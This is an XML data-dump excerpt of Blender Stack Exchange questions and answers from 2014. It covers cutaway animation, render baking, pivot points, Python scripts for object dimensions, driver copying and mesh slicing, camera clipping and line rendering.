  <row Id="8600" PostTypeId="1" AcceptedAnswerId="8602" CreationDate="2014-04-15T18:02:07.697" Score="15" ViewCount="5872" Body="&lt;p&gt;I'm trying to create animated &lt;a href=&quot;https://en.wikipedia.org/wiki/Cutaway_drawing&quot; rel=&quot;nofollow noreferrer&quot;&gt;cutaway views&lt;/a&gt; on multiple objects in my scene. For example, in my car model, the seats and other interior objects are separate objects. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/6550&quot;&gt;This question&lt;/a&gt; talks about using an animated bisecting technique. However, it involves adding a solidify and boolean modifier to every object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easier solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Subdividing/Bisect&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8R91M.png&quot; alt=&quot;blender wiki example&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2016-06-24T21:15:32.953" Title="How can I easily animate cutaway views on multiple objects?" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;modifiers&gt;&lt;objects&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8601" PostTypeId="1" AcceptedAnswerId="8603" CreationDate="2014-04-15T18:03:40.280" Score="5" ViewCount="2895" Body="&lt;p&gt;So as a very simple example of what i mean, consider having a model of a brick, with texture, a normal map, maybe even a tessellation/displacement map. Now if i go and arrange copies of that model into an entire wall, with some bricks slightly tilted or what have you, making it look in some way unique. Is there any way to create a texture and normal map (maybe even a tessellation/displacement map) from that scene so that when those textures are slapped onto a simple plane or cube it looks like that &quot;unique&quot; wall?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried taking a screen shot from the rendered scene but that gives only a diffuse texture and the lighting is also an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Needless to say i'm not well versed in 3D modeling, but was hoping to create some textures i need in this way. Not sure if it's possible with blender or in general.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: originally i referred to tessellation/displacement map as bump map which turns out to be the same as normal map&lt;/p&gt;&#xA;" OwnerUserId="3152" LastEditorUserId="3152" LastEditDate="2014-04-16T17:30:10.650" LastActivityDate="2014-04-16T17:30:10.650" Title="Creating a texture and normal map from a 3D model / scene" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8602" PostTypeId="2" ParentId="8600" CreationDate="2014-04-15T18:09:44.207" Score="12" Body="&lt;h1&gt;Modifiers&lt;/h1&gt;&#xA;&lt;p&gt;Solidify and boolean modifiers should work fine.&lt;/p&gt;&#xA;&lt;p&gt;You can use &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; to copy modifiers from the active object to the selected objects:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the solidify and boolean modifiers to one object.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select other objects you want to bisect, keeping the object with the modifiers active (last selected).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;&lt;em&gt;&amp;gt; Modifiers&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h1&gt;Rendering&lt;/h1&gt;&#xA;&lt;p&gt;By creating a node group like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nhaws.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;By changing the bottom value input on the greater than node, you can adjust where the bisection takes place.&lt;/p&gt;&#xA;&lt;p&gt;By default it will use the local coordinates of the object, but if you want to use global coordinates you can use a vector transform node, however 0,0,0 will still be at the object origin (see bottom example for using global origin):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lz0fM.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;To control this for multiple materials at once, add the node group to the end of the node tree:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wkI0b.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Result:&lt;/h2&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DVo2U.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you want to use global coordinates with 0,0,0 at the world center, use the &lt;em&gt;Position&lt;/em&gt; output of the geometry node instead:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iCI3K.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This probably works better with multiple objects.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-04-16T22:51:21.793" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8603" PostTypeId="2" ParentId="8601" CreationDate="2014-04-15T19:01:53.507" Score="5" Body="&lt;p&gt;I think you are looking for &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Bake#Textures&quot; rel=&quot;noreferrer&quot;&gt;Render Baking&lt;/a&gt;&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using render baking you can make normal maps, color maps, shadow maps, AO textures, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example, the top wall is a plane with baked normals and render shading from the bottom wall:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Okl8O.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that baking is only available in BI currently, but &lt;a href=&quot;http://code.blender.org/index.php/2014/02/cycles-baking/&quot; rel=&quot;noreferrer&quot;&gt;support for it in Cycles is already in a testing state&lt;/a&gt; (you can use it, but it is still experimental) and is targeted to be in 2.71.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-04-15T19:01:53.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8604" PostTypeId="1" CreationDate="2014-04-15T16:54:28.463" Score="13" ViewCount="26449" Body="&lt;p&gt;I think I accidentally pressed something to make it like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4CuBt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See how the XYZ arrows are at the 3D cursor instead of those vertexes I've selected?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I fix that? Whenever I select on a vertex or something, those blue, red, green arrows would always be where I selected, now it just keeps going to the 3D cursor.&lt;/p&gt;&#xA;" OwnerDisplayName="mo choi" LastEditorUserId="12" LastEditDate="2015-02-02T21:37:52.090" LastActivityDate="2015-02-02T21:37:52.090" Title="Transforms moving around the 3D cursor?" Tags="&lt;transforms&gt;&lt;3d-cursor&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ClosedDate="2018-02-23T16:33:56.727" ContentLicense="CC BY-SA 3.0" />
  <row Id="8605" PostTypeId="2" ParentId="8604" CreationDate="2014-04-15T17:32:25.573" Score="12" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QMXoN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pivot point is a very important thing to learn. Also, yes, median is what you are looking for.&lt;/p&gt;&#xA;" OwnerUserId="3155" OwnerDisplayName="JoelWaterworth" LastEditorUserId="2173" LastEditDate="2014-04-15T20:57:40.017" LastActivityDate="2014-04-15T20:57:40.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8606" PostTypeId="1" AcceptedAnswerId="8611" CreationDate="2014-04-15T19:44:13.640" Score="6" ViewCount="2488" Body="&lt;p&gt;I'm creating a text object using Python and I'd like to do a non-standard align (something other than left/right/center).  To accomplish this I need the dimensions, but the dimensions.x is 0 at the time the python is running.  It becomes non-zero later&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;name = &quot;text1&quot;&#xA;&#xA;t1 = bpy.data.curves.new(name, 'FONT')&#xA;o1 = bpy.data.objects.new(name, t1)&#xA;o1.location = (0,0,2)&#xA;bpy.context.scene.objects.link(o1)&#xA;&#xA;t1.body = &quot;Hail Bob!&quot;&#xA;&#xA;c1 = o1.constraints.new('TRACK_TO')&#xA;c1.target = bpy.data.objects[&quot;Camera&quot;]&#xA;c1.track_axis = 'TRACK_Z'&#xA;c1.up_axis = 'UP_Y'&#xA;&#xA;if False:&#xA;    t1.align = 'RIGHT'&#xA;else:&#xA;    print (o1.dimensions.x)&#xA;    t1.text_boxes[0].x = o1.dimensions.x * -0.3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a blender API that will trigger a calculation of the dimensions property of the object so that I can use it before returning control to the UI?&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-04-15T20:46:46.427" Title="How do I use python to get the dimensions of a text object immediately after it is created?" Tags="&lt;python&gt;&lt;dimensions&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8607" PostTypeId="2" ParentId="8569" CreationDate="2014-04-15T19:51:43.810" Score="1" Body="&lt;p&gt;Blender Compositor work only in 2D too..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;using some extended info that Blender has?&quot; - You show a Photo.. What Info should Blender have that PS doesn't? ;-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you have in your Image here is actually not Noise, but Compression Artefacts.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this solution with Bilateral Blur works quite ok on your Sample:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/I8ufx.png&quot; alt=&quot;Blender Compression Artefacts Remove&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I doubt that any Noise Reduction on Images(not rendered) in Blender is much better than dedicated ones in Gimp or elsewhere. While Blenders Compositor allows some neat things, it does not give direct access to Pixels, which i think is needed for any decent Noise reduction. (Of course Node do access Pixels, but you have no way of access Pixels in you Node Setup)&lt;/p&gt;&#xA;" OwnerUserId="777" LastActivityDate="2014-04-15T19:51:43.810" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8608" PostTypeId="2" ParentId="8480" CreationDate="2014-04-15T20:13:05.553" Score="0" Body="&lt;p&gt;The movie clip editor stores a frame start and offset value in the clip properties. However it is per scene value meaning you cannot use multiple instances with various off sets.  A movie file can also be loaded in the image node so that you can access the frame and offset values but you can't use proxies or timecode. &lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2014-04-15T20:13:05.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8609" PostTypeId="2" ParentId="8558" CreationDate="2014-04-15T20:20:44.117" Score="0" Body="&lt;p&gt;You could normalize the brightness and dark values then retarget them but the gama value would be almost impossible to determine of the image is being over exposed. Deflicker is non trivial and requires inter frame access which blenders nodes don't have. &lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2014-04-15T20:20:44.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8611" PostTypeId="2" ParentId="8606" CreationDate="2014-04-15T20:46:46.427" Score="5" Body="&lt;p&gt;Since there's no &lt;code&gt;.update()&lt;/code&gt; method for Curve objects, you need to trigger a scene update:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;t1.body = &quot;Hail Bob!&quot;&#xA;bpy.context.scene.update()&#xA;print(o1.dimensions)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Vector (3.6080, 0.7000, 0.0000)&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-15T20:46:46.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8612" PostTypeId="2" ParentId="3312" CreationDate="2014-04-15T21:24:37.777" Score="5" Body="&lt;p&gt;I'm going to say there is not yet a quick way to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest I can come to accomplishing your mission is this python script (which you can put in a Text Editor panel and use the Run Script button on the right of the toolbar, which means you might need to widen the panel)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select all your objects, and select the source object last (so it is the active object), then click Run Script.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import sys&#xA;&#xA;def copyDriver(src, tgt):&#xA;    if tgt.animation_data is None:&#xA;        tgt.animation_data_create()&#xA;    print(tgt)&#xA;    if False:# or isArrayPath(src.data_path):&#xA;        d2 = tgt.driver_add(src.data_path, src.array_index)&#xA;    else:&#xA;        d2 = tgt.driver_add(src.data_path)&#xA;&#xA;    d2.driver.expression = src.driver.expression&#xA;    for v1 in src.driver.variables:&#xA;        copyVariable(v1, d2.driver)&#xA;&#xA;def copyVariable(src, tgt):&#xA;    v2 = tgt.variables.new()&#xA;    v2.type = src.type&#xA;    v2.name = src.name&#xA;    try:&#xA;        v2.targets[0].data_path = src.targets[0].data_path&#xA;        v2.targets[0].id_type = src.targets[0].id_type&#xA;        v2.targets[0].id = src.targets[0].id&#xA;    except:&#xA;        print(&quot;dang, %s %s&quot;%(src.targets[0].id, sys.exc_info()[0]) )&#xA;&#xA;def isArrayPath(path):&#xA;    return path == 'location' or path == &quot;dimensions&quot; or path == &quot;rotation&quot;&#xA;&#xA;print ( isArrayPath(&quot;location&quot;) )&#xA;print ( isArrayPath(&quot;text_box[0].x&quot;) )&#xA;&#xA;&#xA;scn = bpy.context.scene&#xA;&#xA;src = bpy.context.active_object&#xA;&#xA;for obj in scn.objects:&#xA;    if (obj==src):&#xA;        continue&#xA;    if obj.select:&#xA;        print(&quot;object&quot;)&#xA;        if not src.animation_data is None:&#xA;            for dr in src.animation_data.drivers:&#xA;                copyDriver(dr, obj)&#xA;        print(&quot;data&quot;)&#xA;        if not src.data.animation_data is None:&#xA;            for dr in src.data.animation_data.drivers:&#xA;                copyDriver(dr, obj.data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tested this only partially.  I did not even attempt to copy modifiers.  I'm sure there are some other driver doodads I'm not properly copying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I expect if someone can find a reliable API function to replace my copyDriver() kludge, your life will get a lot easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the mean time, feel free to point out shortcomings and I'll see if I can kludge a way around it.&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2014-04-15T22:00:30.347" LastActivityDate="2014-04-15T22:00:30.347" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8613" PostTypeId="1" AcceptedAnswerId="8616" CreationDate="2014-04-15T21:32:22.110" Score="5" ViewCount="1366" Body="&lt;p&gt;This is a python question. What I want is a function that takes a mesh M and a bounding box B (This bounding box can be axis aligned or on an arbitrary angle. This detail isn't important, which ever is easier to implement, so it's okay to restrict B to be an axis aligned box if it helps) I want a new mesh M' that is subdivided so that M' fits perfectly into the bounding box B. To make it more clear, if a polygon P in mesh M is partially inside B and outside B, then that polygon needs to be split into P1 to Pn, and only the polygons inside B are returned; the rest are discarded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want this to be non-destructive, so M' shouldn't be added to the scene, nor should M be changed in anyway. I just want a new mesh that's not a part of the scene, so that I can export it. I already know how to split polygons by planes and implement this from scratch, however, I want to know how much of this is already implemented/not implemented for me within blender's libraries. It seems non-trivial to do this from scratch, and just using my linear algebra knowledge.&lt;/p&gt;&#xA;" OwnerUserId="2834" LastEditorUserId="2834" LastEditDate="2014-04-15T21:59:09.453" LastActivityDate="2014-04-15T22:19:18.730" Title="How to I subdivide a mesh so that it fits into a bounding box?" Tags="&lt;python&gt;&lt;export&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8614" PostTypeId="2" ParentId="8598" CreationDate="2014-04-15T21:56:28.347" Score="2" Body="&lt;p&gt;From talking with lukas_t on IRC, here is what I have gleaned:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I've combined sambler's answer into this also, thanks sambler!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender has a number of 'Window' objects. At least one, anyway (where all the action happens -- the main Blender window).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.window. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you open up a modal dialog, like saving a file, that's probably another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Question: how to enumerate these?  Just for an exercise in understanding...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each window object has an associated 'Screen' component that determines what scene to show, and which areas to display and how to lay them out. (3D View, Outliner View, etc are technically termed areas). You may notice that when you save and reload a .blend, Blender remembers the layout of all these areas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the main (default) window's screen can be accessed via any of: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.window.screen&#xA;bpy.data.screens['Default']&#xA;bpy.context.screen&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This last one is preferable, seeing as it is hard to imagine needing to use any other screen (can anyone give an example where you might need a different screen?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you need to tell the main screen what scene it should be displaying.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mainScreen = bpy.context.screen&#xA;mainScreen.scene = bpy.data.scenes['Scene']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Note that you can also do it via the pulldown on the infobar!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please upvote lukas_t + sambler's answers if this is useful to you, as I'm just compacting information from them.&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="1693" LastEditDate="2014-04-17T11:22:27.190" LastActivityDate="2014-04-17T11:22:27.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8615" PostTypeId="2" ParentId="8341" CreationDate="2014-04-15T22:16:07.373" Score="1" Body="&lt;p&gt;My first suggestion is : don't apply the subdivision surface.  Leave it in the stack.  &quot;don't apply the subsurf&quot; is a rule people have come up with after years of watching dudes drive off that cliff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you must apply the subsurf, you can probably work around this problem by adding a second bone.  Call it &quot;body&quot; or something, and make it own the unowned vertices in the head and shoulders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you apply the subsurf modifier AFTER you have a body bone, it will probably create some counteracting weights to keep that shoulder from gnarling up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might have to ensure there's an edge at his neck that is owned by the body bone and not the arm bones.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-04-15T22:16:07.373" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8616" PostTypeId="2" ParentId="8613" CreationDate="2014-04-15T22:19:18.730" Score="5" Body="&lt;p&gt;This slices a mesh object into axis-aligned parts (changing the active object):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy, bmesh&#xA;from bpy import context as C&#xA;&#xA;bpy.ops.object.mode_set(mode='EDIT')&#xA;&#xA;bm = bmesh.from_edit_mesh(C.object.data)&#xA;&#xA;edges = []&#xA;&#xA;for i in range(-10, 10):&#xA;        ret = bmesh.ops.bisect_plane(bm, geom=bm.verts[:]+bm.edges[:]+bm.faces[:], plane_co=(i,0,0), plane_no=(-1,0,0))&#xA;        bmesh.ops.split_edges(bm, edges=[e for e in ret['geom_cut'] if isinstance(e, bmesh.types.BMEdge)])&#xA;&#xA;for i in range(-10, 10):&#xA;        ret = bmesh.ops.bisect_plane(bm, geom=bm.verts[:]+bm.edges[:]+bm.faces[:], plane_co=(0,i,0), plane_no=(0,1,0))&#xA;        bmesh.ops.split_edges(bm, edges=[e for e in ret['geom_cut'] if isinstance(e, bmesh.types.BMEdge)])&#xA;&#xA;for i in range(-10, 10):&#xA;        ret = bmesh.ops.bisect_plane(bm, geom=bm.verts[:]+bm.edges[:]+bm.faces[:], plane_co=(0,0,i), plane_no=(0,0,1))&#xA;        bmesh.ops.split_edges(bm, edges=[e for e in ret['geom_cut'] if isinstance(e, bmesh.types.BMEdge)])&#xA;&#xA;bmesh.update_edit_mesh(C.object.data)&#xA;&#xA;bpy.ops.mesh.separate(type='LOOSE')&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;separate&lt;/code&gt; operator is needed, but you could write the bmesh to a new mesh datablock and temporarily bind it to a new object and run this operator. Then unlink it from the scene and delete, keeping the sliced mesh. Bmesh syntax in short:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bm = bmesh.new()&#xA;bm.from_mesh(me) # or from_object(ob, scene)&#xA;#...&#xA;me2 = bpy.data.meshes.new(&quot;Sliced&quot;)&#xA;bm.to_mesh(me2)&#xA;#...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-15T22:19:18.730" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8617" PostTypeId="2" ParentId="8600" CreationDate="2014-04-15T22:49:02.897" Score="4" Body="&lt;h2&gt;Camera Clipping Distance&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;One possibility is to animate the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Camera&quot; rel=&quot;nofollow noreferrer&quot;&gt;Camera Clipping Start Distance&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Blender, the clipping distance defines the area of the scene that is visible to the camera. So, for example, in this instance shown here, everything in the scene between 0.001 distance units and 5.0 units from the camera is visible to the camera, and anything beyond 5 will be clipped out of view (i.e. not visible):  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CIxNi.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; You can toggle the clipping distance indicator's visibility on &amp;amp; off here:&lt;br&gt;&#xA;Camera Object properties window -&gt; Camera tab -&gt; Display section -&gt; toggle Limits&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uhQAC.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These Start and End values/distances can be changed so that part of your car (and any other objects in the scene) will not be visible to the camera. For example, you can increase the Start clipping distance to be halfway into your car, like this:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BlFRm.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; This model of the car is not one mesh, but many separate meshes, so any objects in your scene will get clipped from view. In addition, object modifiers are not effected in any way by camera clipping.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Animating Clipping Distance&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In addition, the Start and End values can be &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Basics/Actions&quot; rel=&quot;nofollow noreferrer&quot;&gt;animated&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the green frame cursor to the beginning of the animation time. Here, it is set to frame 1:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nu2s2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now position the mouse cursor over the Camera Clipping Start value and press &lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt; to set a keyframe:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ledus.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should now see there is a yellow line at frame 1 indicating a keyframe is set there.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now do the following:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Position the frame cursor at the end of your animation  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Increase the Clipping Start value so enough of your car is not visible&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Position the mouse cursor over the Camera Clipping Start value and press &lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt; again to set a keyframe&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O58I6.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now if you play your animation, or render your animation, you will see the car and any other objects in the scene get cut in half:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/roPU7.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Limitations of this Technique&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, there are at least 2 limitations of this technique that might make it unsuitable for your purposes: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;This technique is very easy to animate if your camera is stationary during the clipping animation, but if you start to move the camera around, the clipping distance will still effect the scene, so it may be more difficult to control exactly how much of the car is visible and how much is clipped:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b09mE.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Since the clipping of the car's visibility is based on distance from the camera itself, you will only be able to hide parts of the car directly facing the camera. So, you will only be able to use this technique to render 1 of the 4 views you showed in your question:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EfI1t.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-04-15T23:31:27.733" LastActivityDate="2014-04-15T23:31:27.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8618" PostTypeId="1" AcceptedAnswerId="8621" CreationDate="2014-04-15T23:00:39.947" Score="4" ViewCount="2752" Body="&lt;p&gt;I am looking for a render engine capable of rendering vectors, i.e. vertices,  edges, curves, etc -- objects that have no volume &amp;amp; no faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also like the render engine to be free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is an example what I am trying to accomplish. See how there are only points and lines in the image? That's the style I'm wanting to achieve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am also hoping the render engine can make much nicer pictures than this (higher resolution, control over materials, transparency, etc), and also to make animations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given these constraints, are there any vector render engines that stand out as good solutions? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aAkZp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="784" LastEditorUserId="599" LastEditDate="2014-08-01T06:56:55.907" LastActivityDate="2014-08-01T06:56:55.907" Title="Is there a line render engine for Blender?" Tags="&lt;rendering&gt;" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
